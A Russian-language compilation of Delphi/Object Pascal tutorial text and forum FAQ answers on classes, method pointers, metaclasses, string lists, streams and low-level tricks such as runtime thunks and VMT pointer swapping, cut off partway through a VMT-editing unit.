Protected. Поля, методы и свойства, объявленные в секции protected, видны за пределами модуля только потомкам данного класса; остальным частям программы они не видны. Так же как и private, директива protected позволяет скрыть особенности реализации класса, но в отличие от нее разрешает другим программистам порождать новые классы и обращаться к полям, методам и свойствам, которые составляют так называемый интерфейс разработчика. В эту секцию обычно помещаются виртуальные методы чтения и записи свойств. Примером такого метода является GetPercentFree.
Published. Устанавливает правила видимости те же, что и директива public. Особенность состоит в том, что для элементов, помещенных в секцию published, компилятор генерирует информацию о типе, которая позволяет превращать объекты в компоненты визуальной среды разработки. Секцию published разрешено использовать только тогда, когда для самого класса или его предка включена директива компилятора $TYPEINFO.
Automated. Устанавливает правила видимости те же, что и директива public. Директива automated используется в наследниках класса TAutoObject при создании серверов OLE Automation. Для помещенных в эту секцию методов и свойств компилятор генерирует специальную информацию о типе, которая обеспечивает их видимость за пределами приложения.
Перечисленные секции могут чередоваться в объявлении класса в произвольном порядке, однако в пределах секции сначала следует описание полей, а потом методов и свойств. Если в определении класса нет ключевых слов private, protected, public, published и automated, то для обычных классов всем полям, методам и свойствам приписывается атрибут видимости public, а для тех классов, что порождены от классов VCL — атрибут видимости published.
Заметим, что внутри модуля не действуют никакие ограничения видимости на атрибуты реализованного в модуле класса. Это, кстати, отличается от соглашений, принятых в других языках программирования, в частности в C++.
УКАЗАТЕЛИ НА МЕТОДЫ ОБЪЕКТОВ
В Object Pascal существуют процедурные типы данных для методов объектов. Внешне объявление процедурного типа для метода отличается от обычного словосочетанием of object, записанным после прототипа процедуры или функции:
type
  TFewResourcesEvent = procedure (Sender: TObject) of object;
Переменная такого типа называется указателем на метод (method pointer). Она занимает в памяти 8 байт и хранит одновременно ссылку на объект и адрес его метода:
var
  OnFewResources: TFewResourcesEvent = nil;
Методы объектов, объявленные по приведенному выше шаблону, становятся совместимы по типу с переменной OnFewResources.
type
  Tform1 = class(TForm)
    procedure FewResources (Sender: TObject) ;
  end;
var
  Form1: Tform1;
Бели переменную OnFewResources связать с методом FewResources объекта Form1
OnFewResources:= Form1.FewResources;
и переписать метод CheckStatus,
procedure TResourceGauge.CheckStatus ;
begin
  if PercentFree <= PercentCritical then
   if Assigned(OnFewResources) then OnFewResources(Self) ;
end;
то выдача предупреждения о нехватке ресурсов будет переадресована (говорят еще делегирована) методу FewResources объекта Form1. Обратите внимание, что вызов метода через указатель происходит лишь в том случае, если указатель не равен nil. Эта проверка выполняется с помощью стандартной функции Assigned, которая возвращает True, если ее аргумент является связанным указателем.
Делегирование позволяет сосредоточить в одном объекте обработку событий, возникающих в других объектах. Это избавляет программиста от необходимости порождать многочисленные классы-наследники и перекрывать в них виртуальные методы. Делегирование широко применяется в Delphi. Например, все компоненты делегируют обработку своих событий форме, на которой они находятся.


Метаклассы

МЕТАКЛАССЫ
ССЫЛКИ НА КЛАССЫ
Язык Object Pascal позволяет рассматривать классы как своего рода объекты, которыми можно манипулировать в программе. Такая возможность рождает новое понятие — класс класса; его принято обозначать термином метакласс.
Для поддержки метаклассов введен специальный тип данных — ссылка на класс (class reference). Он описывается с помощью словосочетания class of, например:
type
  TResourceGaugeClass = class of TResourceGauge;
Переменная типа TResourceGaugeClass объявляется в программе обычным образом:
var
  ClassRef: TResourceGaugeClass;
Значениями переменной ClassRef могут быть класс TResourceGauge и все порожденные от него классы. Допустимы, например, следующие операторы:
ClassRef := TResourceGauge;
ClassRef := TDiskGauge;
ClassRef := TMemoryGauge;
По аналогии с тем, как для всех классов существует общий предок TObject, у ссылок на классы существует базовый тип TCIass:
type TCIass = class of TObject;
Переменная типа TCIass может ссылаться на любой класс.
Практическая ценность ссылок на классы состоит в возможности создавать программные модули, работающие с любыми классами объектов, даже с теми, которые еще не разработаны.

МЕТОДЫ КЛАССОВ
Метаклассы привели к возникновению нового типа методов — методов класса. Метод класса оперирует не экземпляром объекта, а непосредственно классом. Он объявляется как обычный метод, но перед словом procedure или function записывается зарезервированное слово class, например:
type
  TResourceGauge = class
     ...
    class function GetClassName : string;
  end;
Псевдопараметр Self, передаваемый в метод класса, содержит не ссылку на объект, а ссылку на класс, поэтому в теле метода нельзя обращаться к полям, методам и свойствам объекта. Зато можно вызывать другие методы класса, например:
class function TResourceGauge.GetClassName: string;
begin
  Result := ClassName;
end;
Метод ClassName объявлен в классе TObject и возвращает имя класса, к которому применяется. Очевидно, что надуманный метод GetClassName просто дублирует эту функциональность для класса TResourceGauge и всех его наследников.
Методы класса применимы и к классам, и к объектам. В обоих случаях в параметре Self передается ссылка на класс объекта. Пример:
var
  Gauge: TResourceGauge;
  S: string;
begin
  { Вызов метода с помощью ссылки на класс }
  S := TDiskGauge.GetClassName; { S получит значение 'TDiskGauge' }
  Gauge := TDiskGauge.Create('С');
  { Вызов метода с помощью ссылки на объект }
  S := Gauge.GetClassName;    { S получит значение 'TDiskGauge' }
end;
Методы классов могут быть виртуальными. Например, в классе TObject определен виртуальный метод класса Newlnstance. Он служит для распределения памяти под объект и автоматически вызывается конструктором. Его можно перекрыть в своем классе, чтобы обеспечить нестандартный способ выделения памяти для экземпляров. Метод Newlnstance должен перекрываться вместе с другим методом Freelnstance, который автоматически вызывается из деструктора и служит для освобождения памяти. Добавим, что размер памяти, требуемый для экземпляра, можно узнать вызовом предопределенного метода класса InstanceSize.
ВИРТУАЛЬНЫЕ КОНСТРУКТОРЫ
Особая мощь ссылок на классы проявляется в сочетании с виртуальными конструкторами. Виртуальный конструктор объявляется с ключевым словом virtual. Вызов виртуального конструктора происходит по фактическому значению ссылки на класс, а не по ее формальному типу. Это позволяет создавать объекты, классы которых неизвестны на этапе компиляции. Механизм виртуальных конструкторов применяется в Delphi при создании форм и компонентов.
На этом закончим изучение теории объектно-ориентированного программирования и в качестве практики рассмотрим несколько широко используемых инструментальных классов Delphi. Разберитесь с их назначением и работой. Это поможет глубже понять ООП и пригодится на будущее.
КЛАССЫ ОБЩЕГО НАЗНАЧЕНИЯ В DELPHI
Как показывает практика, в большинстве задач приходится использовать однотипные структуры данных: списки, массивы, множества и т.д. От задачи к задаче изменяются только их элементы, а методы работы сохраняются. Например, для любого списка нужны процедуры вставки и удаления элементов. В связи с этим возникает естественное желание решить задачу «в общем виде», т.е. создать универсальные средства для управления основными структурами данных. Эта идея не нова. Она давно пришла в голову разработчикам инструментальных пакетов, которые быстро наплодили множество вспомогательных библиотек. Эти библиотеки содержали классы объектов для работы со списками, коллекциями (динамические массивы с переменным количеством элементов), словарями (коллекции, индексированные строками) и другими «абстрактными» структурами. Для Delphi тоже разработаны аналогичные классы объектов. Их большая часть сосредоточена в модуле Classes. Наиболее нужными для вас являются списки строк (TStrings, TStringList) и потоки (TSream, THandleSream, TFileStream, TMemoryStream и TBIobStream). Рассмотрим кратко их назначение и применение.
КЛАССЫ ДЛЯ ПРЕДСТАВЛЕНИЯ СПИСКА СТРОК
Для работы со списками строк служат классы TStrings и TStringList. Они используются в библиотеке VCL повсеместно и имеют гораздо большую универсальность, чем та, что можно почерпнуть из их названия. Классы TStrings и TStringList служат для представления не просто списка строк, а списка элементов, каждый из которых представляет собой пару строка-объект. Если со строками не ассоциированы объекты, получается обычный список строк.
Класс TStrings используется визуальными компонентами и является абстрактным. Он не имеет собственных средств хранения строк и определяет лишь интерфейс для работы с элементами. Класс TStringList является наследником TStrings и служит для организации списков строк, которые используются отдельно от управляющих элементов. Объекты TStringList хранят строки и объекты в динамической памяти.
Свойства класса TStrings описаны ниже.
Count: Integer — число элементов в списке.
Strings[lndex: Integer]: string — обеспечивает доступ к массиву строк по индексу. Первая строка имеет индекс, равный 0. Свойство Strings является основным свойством объекта.
Objects[lndex: Integer]: TObject — обеспечивает доступ к массиву объектов. Свойства Strings и Objects позволяют использовать объект TStrings как хранилище строк и ассоциированных с ними объектов произвольных классов.
Text: string — позволяет интерпретировать список строк как одну большую строку, в которой элементы разделены символами #13#10 (возврат каретки и перевод строки),
Наследники класса TStrings иногда используются для хранения строк вида Имя=3начение, в частности, строк INI-файлов (см. гл. 6). Для удобной работы со строками такой структуры в классе TStrings дополнительно имеются следующие свойства.
Names[lndex: Integer]: string — обеспечивает доступ к той части строки, в которой содержится имя.
Values[const Name: string]: string — обеспечивает доступ к той части строки, в которой содержится значение. Указывая вместо Name ту часть строки, которая находится слева от знака равенства, вы получаете ту часть, что находится справа.
Управление элементами списка осуществляется с помощью следующих методов:
Add(const S: string): Integer — добавляет новую строку S в список и возвращает ее позицию. Новая строка добавляется в конец списка.
Add0bject(const S: string; AObject: TObject): Integer — добавляет в список строку S и ассоциированный с ней объект AObject. Возвращает индекс пары строка—объект.
AddStrings(Strings: TStrings) — добавляет группу строк в существующий список. Append(const S: string) — делает то же, что и Add, но не возвращает значения. Clear — удаляет из списка все элементы.
Delete(lndex: Integer) — удаляет строку и ассоциированный с ней объект. Метод Delete, так же как метод Clear, не разрушает объектов, т.е. не вызывает у них деструктор. Об этом вы должны позаботиться сами.
Equals(Strings: TStrings): Boolean — возвращает True, если список строк в точности равен тому, что передан в параметре Strings.
Exchange(lndex1, lndex2: Integer) — меняет два элемента местами.
GetText: PChar — возвращает все строки списка в виде одной большой нуль-терминированной строки.
lndex0f(const S: string): Integer — возвращает позицию строки S в списке. Если заданная строка в списке отсутствует, функция возвращает значение —1.
lndexOfName(const Name: string): Integer — возвращает позицию строки, которая имеет вид Имя=3начение и содержит в себе Имя, равное Name.
lndexOfObject(AObject: TObject): Integer — возвращает позицию объекта AObject в массиве Objects. Если заданный объект в списке отсутствует, функция возвращает значение —1.
lnsert(lndex: Integer; const S: string) — вставляет в список строку S в позицию Index.
lnsert0bject(lndex: Integer; const S: string; AObject: TObject) — вставляет в список строку S и ассоциированный с ней объект AObject в позицию Index.
LoadFromFile(const FileName: string) — загружает строки списка из текстового файла.
LoadFromStream(Stream: TStream) — загружает строки списка из потока данных (см. ниже).
Move(Curlndex, Newlndex: Integer) — изменяет позицию элемента (пары строка-объект) в списке.
SaveToFile(const FileName: string) — сохраняет строки списка в текстовом файле.
SaveToStream(Stream: TStream) — сохраняет строки списка в потоке данных.
SetText(Text: PChar) — загружает строки списка из одной большой нуль-терминированной строки.
Класс TStringList добавляет к TStrings несколько дополнительных свойств и методов, а также два свойства-события для уведомления об изменениях в списке. Они описаны ниже.
Свойства:
Duplicates: TDuplicates — определяет, разрешено ли использовать дублированные строки в списке. Свойство может принимать следующие значения: duplgnore (дубликаты игнорируются), dupAccept (дубликаты разрешены), dupError (дубликаты запрещены, попытка добавить в список дубликат вызывает ошибку).
Sorted: Boolean — если имеет значение True, то строки автоматически сортируются в алфавитном порядке.
Методы:
Find(const S: string; var Index: Integer): Boolean — выполняет поиск строки S в списке строк. Если строка найдена, Find помещает ее позицию в переменную, переданную в параметре Index, и возвращает True.
Sort — сортирует строки в алфавитном порядке.
События:
OnChange: TNotifyEvent — указывает на обработчик события, который выполнится при изменении содержимого списка. Событие OnChange генерируется после того, как были сделаны изменения.
OnChanging: TNotifyEvent — указывает на обработчик события, который выполнится при изменении содержимого списка. Событие OnChanging генерируется перед тем, как будут сделаны изменения.
Ниже приводится фрагмент программы, демонстрирующий создание списка строк и манипулирование его элементами:
var
  Items: TStrings;
  I: Integer;
begin
  { Создание списка }
  Items := TStringList.Create;
  Items.Add('Туризм');
  Items.Add('Наука');
  Items.Insert(1, 'Бизнес');
  ...
  { Работа со списком }
  for I := 0 to Items. Count - 1 do
   Items[I] := Uppercase(Items [I]);
  ...
   { Удаление списка }
   Items.Free;
end;
КЛАССЫ ДЛЯ ПРЕДСТАВЛЕНИЯ ПОТОКА ДАННЫХ
В Delphi существует иерархия классов для хранения и последовательного ввода-вывода данных. Классы этой иерархии называются потоками. Потоки лучше всего представлять как файлы. Классы потоков обеспечивают различное физическое представление данных:
файл на диске, раздел оперативной памяти, поле в таблице базы данных (см. табл. 1).
Таблица 1.
Класс Описание
TStream Абстрактный поток, от которого наследуются все остальные. Свойства и методы класса TStream образуют базовый интерфейс потоковых объектов.
THandleStream Поток, который хранит свои данные в файле. Для чтения-записи файла используется дескриптор (handle), поэтому поток называется дескрипторным. Дескриптор - это номер открытого файла в операционной системе. Его возвращают низкоуровневые функции создания и открытия файла.
TFileStream Поток, который хранит свои данные в файле. Отличается от ThandleStream тем, что сам открывает (создает) файл по имени, переданному в конструктор.
TMemoryStream Поток, который хранит свои данные в оперативной памяти. Моделирует работу с файлом. Используется для хранения промежуточных результатов, когда файловый поток не подходит из-за низкой скорости передачи данных.
TResourceStream Поток, обеспечивающий доступ к ресурсам в Windows-приложении.
TBIobStream Обеспечивает последовательный доступ к большим полям таблиц в базах данных.
Потоки широко применяются в библиотеке VCL и наверняка вам понадобятся. Поэтому ниже кратко перечислены их общие ключевые свойства и методы.
Общие свойства:
Position: Longint — текущая позиция чтения-записи.
Size: Longint — текущий размер потока в байтах.
Общие методы:
CopyFrom(Source: TStream; Count: Longint): Longint — копирует Count байт из потока Source в свой поток.
Read(var Buffer; Count: Longint): Longint — читает Count байт из потока в буфер Buffer, продвигает текущую позицию на Count байт вперед и возвращает число прочитанных байт. Если значение функции меньше значения Count, то в результате чтения был достигнут конец потока.
ReadBuffer(var Buffer; Count: Longint) — читает из потока Count байт в буфер Buffer и продвигает текущую позицию на Count байт вперед. Если выполняется попытка чтения за концом потока, то генерируется ошибка.
Seek(0ffset: Longint; Origin: Word): Longint — продвигает текущую позицию в потоке на Offset байт относительно позиции, заданной параметром Origin. Параметр Origin может иметь одно из следующих значений: 0 — смещение задается относительно начала потока; 1 — смещение задается относительно текущей позиции в потоке; 2 — смещение задается относительно конца потока.
Write(const Buffer; Count: Longint): Longint — записывает в поток Count байт из буфера Buffer, продвигает текущую позицию на Count байт вперед и возвращает реально записанное количество байт. Если значение функции отличается от значения Count, то при записи была ошибка.
WriteBuffer(const Buffer; Count: Longint) — записывает в поток Count байт из буфера Buffer и продвигает текущую позицию на Count байт вперед. Если по какой-либо причине невозможно записать все байты буфера, то генерируется ошибка.
Ниже приводится фрагмент программы, демонстрирующий создание файлового потока и запись в него строки:
var
  Stream: TStream;
  S: AnsiString;
  StrLen: Integer;
begin
  { Создание файлового потока }
  Stream := TFileStream.Create('Sample.Dat', fmCreate);
  ...
  { Запись в поток некоторой строки }
  StrLen := Length(S) * SizeOf(Char);
  Stream.Write (StrLen, SizeOf (Integer) ) ; { запись длины строки }
  Stream.Write (S, StrLen);              { запись символов строки }
  ...
  { Закрытие потока }
  Stream.Free;
end;

итоги
Теперь для вас нет секретов в мире ООП. Вы на достаточно серьезном уровне познакомились с объектами и их свойствами; узнали, как объекты создаются, используются и уничтожаются. Если не все удалось запомнить сразу — не беда. Возвращайтесь к материалам главы по мере решения стоящих перед вами задач, и работа с объектами станет простой, естественной и даже приятной. Когда вы добьетесь понимания того, как работает один объект, то автоматически поймете, как работают все остальные. Теперь мы рассмотрим то, с чем вы встретитесь очень скоро — ошибки программирования.


Как написать собственный класс?

Вот пример написания класса. Этот класс вычисляет сумму квадратов введенных чисел. Этот класс написан мной только для примера, и я исходил из соображений наглядности, а не оптимальности. Большая часть реализации не только не оптимальна, но и бессмыслена, но показывает бОльшую часть простейших приемов создания класса.

unit Unit2;

interface

Uses classes, Sysutils;

{Нам нужен процедурный тип для создания собственного события. Собственно - это описание процедуры которая должна будет исполнятся при каких-нибудь обстоятельствах}

Type
  TError = procedure(Sender:TObject; Error: string) of object;

{Описание нашего класса, мы его наследуем от TObject, потому ?то нам практи?ески не нужна
никакия функциональность предков}
Type TStatistic=Class(TObject)
private {здесь описываются только внутренние переменные и процедуры - "для служебного пользования"}
{Описание полей, т.е. переменных которые работают только внутри класса, "снаружи" они не
доступны.}
FList:TStringList;
FPrecision: byte;
{Тоже переменная - для определения события}
FonError: TError;
{функция - будет использоваться только внутри класса, "снаружи" напрямую не доступна}
function GetCount: integer;
public {Описанное здесь доступно для пользователя класса}
{Конструктор - метод создания класса, имеет смысл его описывать только если он делает
?то-то специфи?еское - например нам надо будет создать переменную FList. В противном слу?ае
его описание можно опустить - будет работать конструктор родительского класса}
Constructor Create;
{Деструктор - метод разрушения класса}
Destructor Destroy; override;
{Описание методов - собственно методы мало ?ем отли?аются от процедур}
Procedure AddValue(Value:String);
Procedure Clear;
Function Solve:real;
{Описание свойств. Обратите внимание само свойство не способно хранить никакую информацию, это
только указатель на внутренюю струкруру. Например для хранения свойства Precision используется
переменная FPrecision. А для ?тение свойства Count используется функция GetCount}
Property Precision:byte read FPrecision write FPrecision;
Property Count:integer read GetCount;
{Описание событий. ?то такое событие? - Это указатель на процедуру. Сам класс реализации этой процедуры
не знает. Классу известно только заголовок процедуры, вы в коде программы будете писать реализацию
процедуры, а класс только в нужный момент передаст ей управление, используя указатель onError}
Property onError:TError read FonError write FonError;
end;

implementation

{ TStatistic }

constructor TStatistic.Create;
begin
inherited; {Вна?але надо вызвать конструктор класса-родителя}
FList:=TStringList.create;{создаем структуры нашего класса}
end;

destructor TStatistic.Destroy;
begin
FList.Free;{Разрушаем структуры нашего класса}
inherited;{в последнюю о?ередь вызываем деструктор клсса-родителя}
end;

procedure TStatistic.AddValue(Value: String);
begin
  FList.add(Value); {Примерно так мы реализуем метод}
end;

procedure TStatistic.Clear;
begin
  FList.clear;
end;

function TStatistic.GetCount: integer;
begin
  Result:=FList.count+1;
end;

function TStatistic.Solve: real;
  var i:integer;
begin
result:=0;
for i:=0 to FList.count-1 do
begin
try
  result:=result+(Sqr(strtofloat(FList[i])));
except
{интересная конструкция. "on e:exception do" - мы "отлавливаем" ошибку как переменную "e".
Эта переменная имеет о?ень полезное свойство e.message - оно содержит описание ошибки. Далее
следует вызов события. Вна?але мы проверяем использует ли пользователь событие:
"if Assigned(FOnError) then", если использует то вызываем его процедуру: FOnError, с параметрами:
self - зарезервированная переменная - указатель на экземпляр нашего класса, e.message - описание
ошибки}
on e:exception do
if Assigned(FOnError) then FOnError(Self, e.message);
end;
end;
end;

end.

Вот пример использования этого класса:

unit Unit1;

interface

uses Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
StdCtrls;

type
TForm1 = class(TForm)
Button1: TButton;
procedure Button1Click(Sender: TObject);
private
procedure OnError(Sender:TObject; Error: string);
public
{ Public declarations }
end;

var
Form1: TForm1;

implementation

uses Unit2;

{$R *.DFM}

procedure TForm1.Button1Click(Sender: TObject);
  var Statistic:TStatistic;
begin
Statistic:=TStatistic.create;
Statistic.onError:=onError;
Statistic.AddValue('123423');
Statistic.AddValue('123423');
showmessage(floattostr(Statistic.solve));
Statistic.Clear;
Statistic.AddValue('123423');
Statistic.AddValue('12ssss3');
showmessage(floattostr(Statistic.solve));
Statistic.Free;
end;

procedure TForm1.OnError(Sender: TObject; Error: string);
begin
showmessage('Error inside class:'+Sender.ClassName+#13#10+Error);
end;

end.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru


Как можно работать с объектами не заботясь об их разрушении?

Вначале сделаем интерфейс для нашего объекта:

type
  IAutoClean = interface
    ['{61D9CBA6-B1CE-4297-9319-66CC86CE6922}']
  end;

  TAutoClean = class(TInterfacedObject, IAutoClean)
  private
    FObj: TObject;
  public
    constructor Create(AObj: TObject);
    destructor Destroy; override;
  end;

implementation

constructor TAutoClean.Create(AObj: TObject);
begin
  FObj := AObj;
end;

destructor TAutoClean.Destroy;
begin
  FreeAndNil(FObj);
  inherited;
end;

А теперь будем использовать его вместо объекта:

procedure TForm1.Button1Click(Sender: TObject);
var
  a: IAutoClean;
    //must declare as local variable, so when this procedure finished, it's out of scope
  o: TOpenDialog; //any component
begin
  o := TOpenDialog.Create(self);
  a := TAutoClean.Create(o);
  if o.Execute then
    ShowMessage(o.FileName);
end;

Взято с Delphi Knowledge Base: http://www.baltsoft.com/


Как преобразовать указатель на метод в указатель на функцию?

// Converting method pointers into function pointers

// Often you need a function pointer for a callback function. But what, if you want to specify a method as
// an callback? Converting a method pointer to a function pointer is not a trivial task; both types are
// incomatible with each other. Although you have the possibility to convert like this "@TClass.SomeMethod",
// this is more a hack than a solution, because it restricts the use of this method to some kind of a class
// function, where you cannot access instance variables. If you fail to do so, you'll get a wonderful gpf.
// But there is a better solution: run time code generation! Just allocate an executeable memory block, and
// write 4 machine code instructions into it: 2 instructions loads the two pointers of the method pointer
// (code & data) into the registers, one calls the method via the code pointer, and the last is just a return
// Now you can use this pointer to the allocated memory as a plain funtion pointer, but in fact you are
// calling a method for a specific instance of a Class.

type TMyMethod = procedure of object;

function MakeProcInstance(M: TMethod): Pointer;
begin
  // allocate memory
  GetMem(Result, 15);
  asm
    // MOV ECX,
    MOV BYTE PTR [EAX], $B9
    MOV ECX, M.Data
    MOV DWORD PTR [EAX+$1], ECX
    // POP EDX
    MOV BYTE PTR [EAX+$5], $5A
    // PUSH ECX
    MOV BYTE PTR [EAX+$6], $51
    // PUSH EDX
    MOV BYTE PTR [EAX+$7], $52
    // MOV ECX,
    MOV BYTE PTR [EAX+$8], $B9
    MOV ECX, M.Code
    MOV DWORD PTR [EAX+$9], ECX
    // JMP ECX
    MOV BYTE PTR [EAX+$D], $FF
    MOV BYTE PTR [EAX+$E], $E1
  end;
end;

procedure FreeProcInstance(ProcInstance: Pointer);
begin
  // free memory
  FreeMem(ProcInstance, 15);
end;

Взято с сайта http://www.swissdelphicenter.ch/en/tipsindex.php


Как явно вызвать виртуальный метод дедушки?

Проблема в следующем. Допустим, есть иерархия классов, у которых перекрывается один и тот же виртуальный (или динамический - не важно) метод и в одной из реализаций этого метода вы хотите вызвать виртуальный метод предка своего предка. Новая объектная модель Delphi допускает только вызов методов предка (с помощью ключевого слова inherited) либо вызов методов класса с префиксом - типом класса (например, TLevel1.ClassName).

Эта проблема стандартными средствами не решается. Но сделать требуемый вызов можно. Причем способом, показанным ниже, можно вызвать любой метод для любого класса, однако, в этом случае вся ответственность за правильность работы с методами и полями ложится на программиста. Ниже в методе VirtualFunction класса TLevel3 вызывается метод класса TLevel1, а в функции Level1Always всегда вызывается метод класса TLevel1 для любого его наследника.

TLevel1 = class(TComponent)
   public
     function VirtualFunction: string; virtual;
   end;

   TLevel2 = class(TLevel1)
   public
     function VirtualFunction: string; override;
   end;

   TLevel3 = class(TLevel2)
   public
     function VirtualFunction: string; override;
   end;

   function Level1Always(MyLevel: TLevel1): string;

implementation

   type
     PClass = ^TClass;

   function TLevel1.VirtualFunction: string;
   begin
     Result := 'Level1';
   end;

   function TLevel2.VirtualFunction: string;
   begin
     Result := inherited VirtualFunction+' Level2';
   end;

   function TLevel3.VirtualFunction: string;
   var
     ClassOld: TClass;
   begin
         ClassOld := PClass(Self)^;
     PClass(Self)^ := TLevel1;
     Result := VirtualFunction + ' Level3';
     PClass(Self)^ := ClassOld;
   end;

   function Level1Always(MyObject: TObject): string;
   var
     ClassOld: TClass;
   begin
     ClassOld := PClass(MyObject)^;
     PClass(MyObject)^ := TLevel1;
     Result := (MyObject as TLevel1).VirtualFunction;
     PClass(MyObject)^ := ClassOld;
   end;

Как же это работает? Стандартные так называемые объектные типы (object types - class of ...) на самом деле представляют из себя указатель на VMT (Virtual Method Table) - таблицу виртуальных методов, который (указатель) лежит по смещению 0 в экземпляре класса. Воспользовавшись этим, мы сначала сохраняем 'старый тип класса' - указатель на VMT, присваиваем ему указатель на VMT нужного класса, делаем вызов и восстанавливаем все как было. Причем нигде не требуется, чтобы один из этих классов был бы порожден от другого, т.е. функция Level1Always вызовет требуемый метод вообще для любого экземпляра любого класса.

Если в функции Level1Always сделать попробовать вызов

  Result := MyObject.VirtualFunction;

то будет ошибка на стации компиляции, так как у класса TObject нет метода VirtualFunction. Другой вызов

  Result := (MyObject as TLevel3).VirtualFunction;

будет пропущен компилятором, но вызовет Run-time ошибку, даже если передается экземпляр класса TLevel3 или один из его потомком, так как информация о типе объекта меняется. Динамически распределяемые (dynamic) методы можно вызывать точно таким же образом, т.к. информация о них тоже хранится в VMT. Статические методы объектов вызываются гораздо более простым способом, например

var
     MyLevel3: TLevel3;
   ...
     (MyLevel3 as TLevel1).SomeMethode;

вызовет метод класса TLevel1 даже если у MyLevel3 есть свой такой же метод.

Copyright © 1996 Epsylon Technologies
Взято из FAQ Epsylon Technologies (095)-913-5608; (095)-913-2934; (095)-535-5349


Что из себя представляет Self?

Self - это явное задание экземпляра класса в его методе.

Например для твоей формы это указание на саму форму:

procedure TForm1.Button1Click(Sender: TObject);
begin
  showmessage(self.classname+#13#10+self.name);
end;

Если например это MDI форма то это будет указатель именно на тот экземпляр для которого выполняется этот код. На практике Self обычно применяется при написании своих классов, когда ты пишешь класс или компонент, то у тебя нет переменной с экземпляром этого компонента, следовательно чтобы обратится к экземпляру (который появится только в коде конечного пользователя, который будет использовать компонент) класса нужна переменная - вот она и берётся за self.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

Чтобы понять, что такое self надо понять что такое метод класса. Метод класса - это просто функция(процедура) который имеет дополнительный неявный параметр - указатель на экземпляр класса. То есть:

TMy=class
  x:integer;
  procedure Proc(val:integer);
end;

procedure TMy.Proc(val:integer);
begin
  x:=val;
end;

После компиляции это будет практически то же самое, что:

procedure Proc(self:TMy;val:integer);
begin
  self.x:=val;
end;

То есть на самом деле в методе Proc обращаясь к x мы на самом деле обращаемся к self.x, просто переменная self опускается. В скомпилированном коде нет такого понятия как классы - есть только код и память. Все методы классов превращаются в обыкновенные функции, в которым качестве первого параметра передается указатель на область памяти где лежит созданный пользователем экземпляр класса, который они и используют для чтения или записи(а так же для вызова) того, что мы называем членами класса.

var
  m1,m2:TMy;
begin
  .....
  m1.Proc(4); // -> Proc(m1,4)
  m2.Proc(4); // -> Proc(m2,4)
end;

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Как скрыть свойства объекта?

В иерархии VCL в большинстве случаев существует уровень объектов-"предшественников" (TCustomXXXX), в которых многие свойства скрыты. Для унаследованных от таких "предшественников" объектов можно "открывать" на выбор те или иные свойства. А как можно скрыть свойства, которые объявлены в published-области от Object Inspector'а, но при этом оставить возможность доступа во время работы программы? Решение состоит в объявлении свойства "по новой" в public-области. В примере скрытым будет у объекта TMyControl свойство Height.

TMyControl = class(TWinControl)
protected
  procedure SetHeight(Value: Integer);
  function GetHeight: Integer;
public
  property Height: Integer read GetHeight write SetHeight;
end;

procedure TMyControl.SetHeight(Value: Integer);
begin
  inherited Height := Value;
end;

function TMyControl.GetHeight;
begin
  Result := inherited Height;
end;


Как присвоить событие в run-time?

Пример стандартного присвоения события в run-time:

type
  TForm1 = class(TForm)
    Button1: TButton;
    procedure FormCreate(Sender: TObject);
  private
    procedure Click(Sender: TObject);
  end;

var  Form1: TForm1;

implementation

procedure TForm1.Click(Sender: TObject);
begin
  // do something
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  button1.OnClick:=Click;
end;

end.

Автор: Vit
www.delphist.com
www.drkb.ru
chicago.lastplanet.com

Взято с Vingrad.ru http://forum.vingrad.ru

А как сделать чтобы "procedure Click" была не методом класса, а отдельно стоящей функцией?

procedure Click(Self: TObject; Sender: TObject);
begin
  ...
end;

var
  evhandler: TNotifyEvent;
  TMethod(evhandler).Code := @Click;
  TMethod(evhandler).Data := nil;
  Button1.OnClick := evhandler;

  Без извращений можно так:

  TDummy = class
    class procedure Click(Sender: TObject);
  end;

  Button1.OnClick := TDummy.Click;

Автор ответа: Le Taon
Взято с Vingrad.ru http://forum.vingrad.ru

По идее, при вызове OnClick первым параметром будет запихнут указатель на экземпляр того класса который в этом OnClick хранится . Я в низкоуровневой реализации не силен, но кажись, так как параметры в процедурах в Delphi передаются через регистры, то ничего страшного не произойдет.

procedure C(Self:pointer;Sender:TObject);
begin
  TButton(Sender).Caption:='ee';
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  @Button1.OnClick:=@c;
end;

Self тут у нас будет равен nil, а Sender как раз и получается Sender'ом.

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru


Как вызвать метод предка?

1) Есть Class1, с методом Mtd.
2) Есть Class2 унаследованный от Class1, метод Mtd перезаписан
3) В программе используется переменная типа Class2
Можно ли из программы вызвать Mtd от Class1, Другими словами, можно ли вызвать перезаписанный метод класса-предка?

Способ 1(только для не виртуальных методов)

var
  a:class2;
begin
a:=class2.Create;
class1(a).mtd;
....
end;

Автор: Fantasist

Взято с Vingrad.ru http://forum.vingrad.ru

Способ со статическим приведением годится только для
не виртуальных методов, имеющих одно имя.
Вызов же виртуальных методов от статического типа не зависит.
В твоём простейшем случае достаточно написать inherited Mtd;
(ты его можешь вызвать из любого метода TClass2, не только из Mtd).
Трудности возникнут, когда нужно вызвать метод "дедушки" или "прадедушки" и т.д.
Один из способов, описанных в литературе, - временная замена
VMT объекта на "дедушку" и обратно. Но если у дедушки такого метода не было - будет облом.
Я предпочитаю такой способ:

type
 TProc = procedure of object;
procedure TClassN.SomeMethod;
var
 Proc: TProc;
begin
 TMethod(Proc).Code := @TClass1.Mtd; // Статический адрес
 TMethod(Proc).Data := Self;
 Proc();
end;

Автор ответа: Le Taon
Взято с Vingrad.ru http://forum.vingrad.ru


Как редактировать таблицы виртуальных и динамических методов?

unit EditorVMTandDMTTables;

interface

// функция служит для выяснения существования VMT у класса
// возвращает True, если класс имеет VMT и False - если нет
function IsVMTExist(Cls: TClass): Boolean;

// процедура служит для замены адреса метода в VMT класса со смещением
// Offset(должно быть кратно 4) новым адресом, хранящимся в NewMet
// примечание: перед вызовом этой процедуры проверяйте существование
// VMT у класса функцией IsVMTExist
procedure VirtMethodReplace(Cls: TClass; Offset: LongWord; NewMet: Pointer); overload;

// процедура служит для замены адреса метода, хранящегося в OldMet,
// в VMT класса новым адресом, хранящимся в NewMet
